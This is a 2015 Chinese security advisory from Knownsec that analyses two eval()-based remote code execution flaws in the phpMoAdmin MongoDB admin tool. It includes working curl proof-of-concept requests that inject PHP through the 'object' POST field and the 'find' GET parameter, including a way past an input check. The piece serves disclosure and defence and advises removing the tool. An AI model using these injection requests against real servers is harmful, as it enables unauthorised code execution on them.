MongoDB 管理程序 phpMoAdmin 远程代码执行漏洞分析
文 / 知道创宇研究团队 2015 . 03 . 04
近日,在国外媒体 thehackernews 上有报道称:开源 MongoDB 的管理程序 phpMoAdmin 存在严重的安全漏洞,并称该漏洞信息已经在黑市上流传!就在今日,安全社区公布了相关漏洞细节及利用程序,同时,有很多公司及组织对该漏洞进行了分析。知道创宇研究团队分析代码后发现:phpMoAdmin 存在多个远程代码执行漏洞点,且这些漏洞点被很多包括安全人员在内的人忽视了。
漏洞分析
phpMoAdmin 存在代码执行的漏洞点其实有 2 个:
1、存在于 saveObject() 函数里,代码如下:
$obj 变量进入了 eval() 导致代码执行,我们再看看 saveObject() 的调用:
代码 787 - 793 行
POST 提交的 $_POST['object'] 没有任何过滤进入了 saveObject()
漏洞测试:
➜ ~ curl "http://test.knowsnec-demo.com/moadmin.php" -d "object=1;print(md5(11111));exit;"
Notice: Undefined index: collection in /home/public_html/moadmin.php on line 789
b0baee9d279d34fa1dfd71aadb908c3f%
这个也就是安全社区公布的利用方法。然而还有另外一个可以导致任意代码执行的漏洞点被忽视了……
2、存在于 listRows() 函数里,代码行 546 - 562:
其中,变量 $_GET['find'] 没有经过过滤而直接进入了 eval() 导致代码执行,注意需要绕过 strpos($_GET['find'], 'array') === 0 这个判断。找到 listRows() 的调用方式后就可以触发这个漏洞了。
漏洞测试:
➜ ~ curl "http://test.knowsnec-demo.com/moadmin.php?db=admin&action=listRows&collection=zzz&find=array(1);print(md5(111));exit;"
698d51a19d8a121ce581499d7b701668%
修复方案:
我们注意到,phpMoAdmin 在 github 开源项目的更新时间还是在 2 年前,漏洞曝光后到目前为止没有看到相关安全补丁及更新发布。我们建议直接删除 phpMoAdmin 的相关文件,换用其他 MongoDB 管理程序。
参考:
http://thehackernews.com/2015/03/phpMoAdmin-mongoDB-exploit.html
http://github.com/MongoDB-Rox/phpMoAdmin-MongoDB-Admin-Tool-for-PHP
http://www.exploit-db.com/exploits/36251/